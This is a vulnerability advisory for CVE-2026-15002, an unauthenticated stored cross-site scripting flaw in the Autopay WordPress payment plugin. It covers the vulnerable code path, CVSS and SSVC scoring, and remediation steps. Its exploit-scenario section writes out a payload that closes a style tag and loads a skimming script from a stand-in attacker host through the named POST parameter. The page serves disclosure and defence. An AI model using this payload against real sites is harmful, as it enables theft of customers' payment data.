Skip to main content

Autopay CVE-2026-15002

| EUVDEUVD-2026-59868 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-16 Wordfence GHSA-5c8g-gwg5-j775
7.2
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send unauthenticated POST with malicious style payload
  2. Delivery
    WordPress 'init' hook invokes Css_Editor::handle_save()
  3. Exploit
    Raw payload persisted to woocommerce_bluemedia_settings via update_option()
  4. Execution
    Victim navigates to WooCommerce checkout page
  5. Persist
    Css_Frontend::print_to_wp_head() echoes payload unescaped in style block
  6. Impact
    Injected script executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special configuration, authentication, or site-specific condition is required for the attacker to store the malicious payload: any unauthenticated HTTP client can POST the bm_woocommerce_css_editor_content parameter to any URL on the WordPress installation, because Css_Editor::handle_save() is bound to the 'init' hook (which fires unconditionally on every request) with neither a WordPress capability check (current_user_can()) nor a nonce verification (check_admin_referer()). The only prerequisites for exploitation are that the Autopay plugin version 5.0.0 or earlier is installed and active, and that WooCommerce is installed and active so the checkout page exists. For the stored payload to execute, victim users must subsequently visit the WooCommerce checkout page - a normal part of any purchase flow requiring no unusual or coerced user action. Limiting factors: a Content Security Policy that blocks inline scripts or disallows external script sources would impede JavaScript execution even if the payload is stored; absence of active WooCommerce stores (e.g., plugin installed but no products listed) would prevent victim exposure; and network-layer WAFs capable of detecting style-context injection patterns may block payload delivery.

Impact

The CVSS 7.2 base score (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) accurately represents the severity landscape: the attack requires no authentication, no complexity, and no user interaction on the attacker's side, while the Changed scope flag captures the downstream impact on checkout page visitors whose browsers execute the injected payload. The checkout page context materially elevates real-world risk beyond what the numeric score alone conveys - this is exactly the surface targeted by Magecart-style payment skimming operations, and even a mid-sized municipal IT team in tczew operating a WooCommerce store for public-facing services should treat this as urgent remediation rather than routine patching. No EPSS score was provided in the source intelligence, precluding probabilistic exploitation comparison; the vulnerability is not currently in the CISA KEV catalog, and no weaponized proof-of-concept has been identified. SSVC signals nevertheless favour high priority: exploitation is not confirmed but the technique is trivially automatable (a single HTTP POST to any site URL with no prerequisite fingerprinting), and the technical impact on subsequent systems - browsing victims - is partial confidentiality and integrity compromise at a maximally sensitive interaction point.

Exploit ScenarioDerived

An unauthenticated attacker sends a single HTTP POST request to any page on the target WordPress site with the body parameter bm_woocommerce_css_editor_content set to a payload such as </style><script src='https://attacker.com/skim.js'></script><style>, triggering Css_Editor::handle_save() silently via the 'init' hook and persisting the payload in the WordPress database. From that point forward, every user who visits the WooCommerce checkout page - typically customers actively entering payment card details - receives and executes the attacker's script, enabling real-time session hijacking, form-field interception, or exfiltration of payment credentials to an attacker-controlled endpoint.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 16, 2026

Stored XSS in the Autopay (Platnosci Online Blue Media) WordPress plugin through version 5.0.0 permits unauthenticated remote attackers to permanently inject arbitrary JavaScript into the WooCommerce checkout page by sending a single crafted POST request targeting the bm_woocommerce_css_editor_content parameter. The plugin's CSS editor save handler is registered on WordPress's 'init' hook with no capability check, no nonce verification, and no input sanitization, causing raw attacker-controlled content to be persisted in the WordPress options table and rendered unescaped inside a style block on every subsequent checkout page load. No public exploit has been identified at time of analysis and this vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog, but the unauthenticated write path combined with persistent execution on a high-value payment page represents a credible payment-skimming threat vector.

RemediationAI

Update the Autopay (Platnosci Online Blue Media) plugin to a version beyond 5.0.0 as the primary remediation step. A source-level fix has been committed to the WordPress plugin repository (changeset https://plugins.trac.wordpress.org/changeset?reponame=&old=3636306%40platnosci-online-blue-media&new=3636306%40platnosci-online-blue-media); however, the corresponding released plugin version number incorporating this fix is not independently confirmed from the available data - verify the latest version on the WordPress.org plugin directory and confirm it includes or supersedes revision 3636306 before deploying to production. If an immediate update is blocked, a targeted compensating control is to add a WAF rule or WordPress MU-plugin that rejects POST requests containing the bm_woocommerce_css_editor_content parameter from unauthenticated sessions; this eliminates the unauthenticated write vector but may interrupt legitimate admin CSS customization workflows, requiring admin users to temporarily save CSS settings via a different method. Additionally, audit the current value of the woocommerce_bluemedia_settings WordPress option for any pre-existing injected payload and clear or sanitize it if tainted, since stored XSS payloads persist after patching unless the corrupted option is explicitly remediated.

Affected VersionsENISA

Autopay 0 ≤5.0.0

Affected Packages

euvd autopay no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable component is the Autopay WooCommerce payment plugin (CPE: cpe:2.3:a:bluemediapl:autopay:*:*:*:*:*:*:*:*) through version 5.0.0, a Polish Blue Media payment gateway integration for WordPress. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation / Stored XSS), and it manifests across three cooperating code paths: Settings_Manager::init_once() (Settings_Manager.php:94) registers Css_Editor::handle_save() on WordPress's global 'init' action hook, which fires on every HTTP request regardless of authentication state. handle_save() (Css_Editor.php:96, 98) reads $_POST['bm_woocommerce_css_editor_content'] and writes it directly to the 'woocommerce_bluemedia_settings' option via update_option() with no sanitization callback, bypassing WordPress's built-in option filtering. Css_Frontend::print_to_wp_head() (Css_Frontend.php:17) later retrieves the stored option value and echoes it verbatim inside a style tag injected into the WooCommerce checkout page's HTML head section with no esc_html() or wp_kses() call, enabling an attacker to close the style context and inject arbitrary HTML or JavaScript that executes in every visiting user's browser.

Know when Autopay gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 7.2 HIGH

AV:N and PR:N confirmed by code: init hook fires on all requests with no auth check; S:C and UI:N reflect stored payload executing persistently in all checkout visitors' browsers without further attacker interaction.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Platnosci Online Blue Media (Autopay) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.0 via the 'bm_woocommerce_css_editor_content' POST parameter. This is due to the Css_Editor::handle_save() method being wired to the WordPress 'init' hook by Settings_Manager::init_once() with no capability check, no nonce verification, and no sanitization on the input - the raw $_POST value is written to the 'woocommerce_bluemedia_settings' option via update_option(), then later echoed directly inside a <style> block on the WooCommerce checkout page by Css_Frontend::print_to_wp_head() with no output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page (the checkout page).

Executive ViewAI

Why It Matters

A stored cross-site scripting vulnerability in the Autopay WordPress plugin (through version 5.0.0) allows unauthenticated attackers to permanently inject malicious code into WooCommerce checkout pages with a single request, bypassing all security controls. This exposes payment data, customer credentials, and the organization to PCI-DSS compliance violations and payment-skimming attacks with no vendor patch currently available. Any e-commerce organization using Autopay should treat this as a critical payment infrastructure risk requiring immediate remediation.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: (1) deactivate and remove the vulnerable plugin immediately; (2) implement WAF rules blocking access to the vulnerable parameter; (3) enforce a restrictive Content-Security-Policy to prevent inline script execution; (4) implement strict input validation and output encoding for any remaining CSS editor functionality if plugin cannot be removed; (5) conduct daily WordPress option table audits for suspicious content; (6) segment payment processing from public-facing infrastructure where possible.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Low
regional Polish payment gateway plugin, limited to local WooCommerce deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy